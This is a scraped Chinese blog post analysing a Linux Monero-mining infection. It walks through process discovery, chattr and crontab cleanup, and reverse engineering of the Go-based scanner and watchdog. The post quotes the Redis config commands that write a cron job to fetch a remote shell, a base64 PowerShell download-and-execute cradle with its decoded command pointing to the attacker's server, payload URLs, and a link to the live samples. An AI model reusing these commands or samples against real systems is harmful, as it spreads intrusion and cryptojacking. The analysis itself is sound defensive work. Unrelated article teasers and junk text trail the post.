<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰|Linux挖礦病毒的清除與分析

    VSole2023-02-06 10:29:46

    起因

    舍友在宿舍喊著,這服務器好卡啊,難受啊!我調侃他是不是被挖礦了,top命令看一下CPU占用。

    一看嚇一跳,一個叫做sysupdate的進程占據了絕大部分的CPU資源。CPU使用率接近100%。

    看來被挖礦是坐實了。

    清除過程

    確定病因

    這個病毒還不是算很變態,很多挖礦病毒,使用top命令都看不到挖礦程序的進程。

    基本可以確定這個占據絕大部分cpu資源的進程sysupdate,就是挖礦程序了,我們需要先找到他。

    使用命令:

    ps -aux | grep sysupdate 
    

    查看病毒的PID號。

    為了獲取絕對路徑,使用:

    ls -l /proc/{pid號}/exe
    

    發現sysupdate的絕對路徑在/etc/sysupdate。

    下載下來,上傳到VirusTotal。

    如圖所示,就是他,挖礦病毒沒跑了。

    開始清除

    首先干掉進程:kill -9 {pid號}

    直接rm -f sysupdate會提示類似:

    rm: cannot remove 'sysupdate ': Operation not permitted
    

    基于經驗,應該是病毒使用了chattr +i的命令。我們只要先執行chattr -i sysupdate,然后就可以正常刪除了。

    復發

    然后..很快就又被創建出來了。應該是有守護進程什么的。

    而且如果我們簡單分析一下sysupdate,其實他并不是病毒,他只是個XMR挖礦程序。

    (懂我意思吧,我們必須得找到他爸爸)。

    分析的方法,可以通過findStr、IDA等工具提串或者..運行一下就明白了。下圖是我虛擬機運行的截圖。

    好,我知道大家都不關心這個。

    定時任務

    我是先去看了下日志..發現什么都沒有Orz,應該是被清了。

    那還是先來檢查下定時任務吧:

    crontab -l或者cat /var/spool/cron/root
    

    還可以去查看定時任務的日志。

    more /var/log/cron log
    

    太多的話,可以在后面加上| grep -v {要排除的關鍵字}來排除無用信息。

    update.sh分析

    找到了這個定時執行的源頭,我們來簡單分析一下。update.sh的內容和相關樣本在文末有提供下載。

    在/etc下下載了config.json(挖礦配置)、sysupdate(XMR挖礦軟件)、update.sh(本腳本)、networkservice(scanner 掃描并入侵其他的主機)、sysguard(watchdog 用于監控并保證病毒的正常運行以及更新)并保證他們以root權限運行。

    干掉別的挖礦病毒(見killminerproc函數)。

    創建/root/.ssh/authorized_keys,添加病毒作者自己的公鑰,保證其可以使用SSH登錄到服務器,算是個后門吧。

    然后就是添加定時任務,為文件添加chattr +i,修改IPTABLES,清楚日志,關閉SELinux等等。

    修復

    1.rm /var/spool/cron/root或者 crontab -r刪除定時任務。

    2.kill命令將相關進程干掉,用chattr -i和rm命令,將上述/etc下的文件全部刪除。

    3./root/.ssh/authorized_keys也刪掉或者修復。

    至于IPTABLES、SELinux的恢復,就看大家自己的需求了。

    樣本分析:networkservice文件的分析

    分析準備

    查殼是UPX,直接使用upx -d就能脫殼了。

    IDA打開發現結構很亂,Shift+F7打開Program Segmentation。

    看到.gopclntab,基本就可以確定是golang編寫的。我們這里使用IDAGolangHelper來幫助恢復符號信息。

    從Github下載下來后,將腳本拷貝到IDA目錄的python文件夾下,重啟IDA,菜單選擇File-Script Command..導入go_entry.py并運行。

    PS:這里IDA7.0可能會遇到idc_bc695.py文件的MakeStr報錯,這里給出看雪的解決辦法。

    如圖所示,前兩個按鈕是用于檢測Go語言的版本,輸出在Output window內。我們這里選擇Go1.10。然后按下剩下全部按鈕進行修復~

    再次看Functions window就舒服多了。不過字符串還是看著非常非常難受,因為Golang的字符串是堆成一坨的,用的時候通過偏移以及長度取。IDA沒法很好的識別,只能自己從偏移處選定指定長度再按下A鍵進行標注。如果大佬們有更好的方式或者腳本,請務必賜教。

    功能分析

    我們接下來就可以從main_main函數開始看,整個程序的大概流程。

    1.首先會去hxxps://pixeldra.in/api/download/I9RRye下載ips_cn.txt并保存為dkelc。

    2.ips_cn.txt的內容實際上就是大量的國內ip段的十進制表示,為之后的掃描入侵做準備。

    程序內包含了大量的exploit。基本都是RCE即遠程命令執行,下表做了部分列舉:

    Redis未授權RCEHadoop未授權RCEDrupal CVE-2018-7600ElasticSearch CVE-2015-1427ElasticSearch CVE-2014-3120Redis爆破模塊Spring CVE-2018-1273Sqlserver Exploit模塊ThinkPHP5 RCEWeblogic CVE-2017-10271

    以Redis未授權漏洞為例作分析,首先會去嘗試空口令和弱口令爆破,如果成功連接。

    首先設置Redis的stop-writes-on-bgsave-error為no。執行Redis命令FlushAll清空數據表。

    設置dbfilename為Root,即設置持久化文件名為root,對應的Redis命令為:

    config set dbfilename root
    

    緊接著設置dir到定時任務目錄/var/spool/cron,對應Redis命令為

    config set dir "/var/spool/cron"
    

    執行完上面的命令后,Redis之后的數據就會保存到/var/spool/cron/root,即Root用戶的定時任務文件里。

    緊接著拼接curl下載并執行遠程shell的語句,并調用Save寫入文件中。

    sysguard

    作者叫他是Watchdog,主要功能就是監控自己的各程序,定時任務等是否啟動正常。不知道和網上的watchdogs挖礦病毒有沒有聯系。

    在分析過程中,發現不僅僅有Linux版,還有Windows版。

    對于windows,會去執行下面的命令:

    powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==
    

    base64解密為:

    iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')
    

    即下載執行update.ps1,沒什么新意,火絨就可以查殺攔截:

    windows版的下載地址如下,因為是Go語言編寫的,其實內容都是大同小異的:

    hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exehxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exehxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exehxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1

    樣本下載

    https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
    linux服務器linux系統
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    "請用root用戶執行此腳本!#最近啟動時間?#運行時間(天)?#相同ID的用戶?#密碼過期(天)?#允許root遠程登錄?#僵尸進程數量?#自啟動服務數量?"系統巡檢腳本:Version $VERSION"
    Linux的應用越來越普遍,且絕大多數嵌入式系統都使用的是Linux系統。但近期,黑客對Linux服務器進行DDoS攻擊的次數飆升,受DDoS攻擊影響的有70多個國家,其中77%的攻擊都發生在中國,最容易受攻擊的國家還有法國和荷蘭。黑客主要是利用C&C 服務器來集中管理并執行DDoS攻擊,Linux服務器便成了其主要的攻擊目標。面對如此猖獗的黑客攻擊,Linux服務器如何做好預防工作呢?部署
    假如你想要搭建一個Linux服務器,并且希望可以長期維護的話,就需要考慮安全性能與速度等眾多因素。一份正確的linux基本安全配置手冊就顯得格外重要。#為刪除你系統上的用戶,用下面的命令:[root@c1gstudio]# userdel username#批量刪除方式#這里刪除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "賬號#如果你開著ftp等服務可以把ftp賬號保留下來。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
    #更改SSH端口,最好改為10000以上,別人掃描到端口的機率也會下降。防火墻要開放配置好的端口號,如果是阿里云服務器,你還需要去阿里云后臺配置開發相應的端口才可以,否則登不上哦!如果你覺得麻煩,可以不用改。#禁用版本1協議, 因為其設計缺陷, 很容易使密碼被黑掉。關鍵在于環境變量的不同,su -的環境變量更全面。#禁止空密碼登陸。保存,用 uusama 賬戶登錄后,直接獲取的就是 root 帳號的權限。
    Linux是一種開源操作系統,它支持各種硬件平臺,Linux服務器全球知名,它和Windows之間最主要的差異在于,Linux服務器默認情況下一般不提供GUI(圖形用戶界面),而是命令行界面,它的主要目的是高效處理非交互式進程,響應時間并不是那么重要,相反,能夠長時間處理高負載才是最關鍵的。
    當企業發生網絡安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,同時還需進一步查找入侵來源,還原入侵事故過程,給出解決方案與防范措施,為企業挽回或減少經濟損失。 常見的網絡安全事件:
    SSH 是一種廣泛使用的協議,用于安全地訪問 Linux 服務器。但是,不安全的默認配置也會帶來各種安全風險。具有開放 SSH 訪問權限的服務器的 root 帳戶可能存在風險。因此,有必要了解 SSH 安全性。這是在 Linux 上保護 SSH 服務器連接的方法。關閉 root 用戶的服務器訪問是一種防御策略,可以防止攻擊者實現入侵系統的目標。例如,您可以創建一個名為exampleroot的用戶,如下所示:useradd?
    如果你的Linux服務器突然負載暴增,告警短信快發爆你的手機,如何在最短時間內找出Linux性能問題所在?來看Netflix性能工程團隊的這篇博文,看它們通過十條命令在一分鐘內對機器性能問題進行診斷。概述 通過執行以下命令,可以在1分鐘內對系統資源使用情況有個大致的了解。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类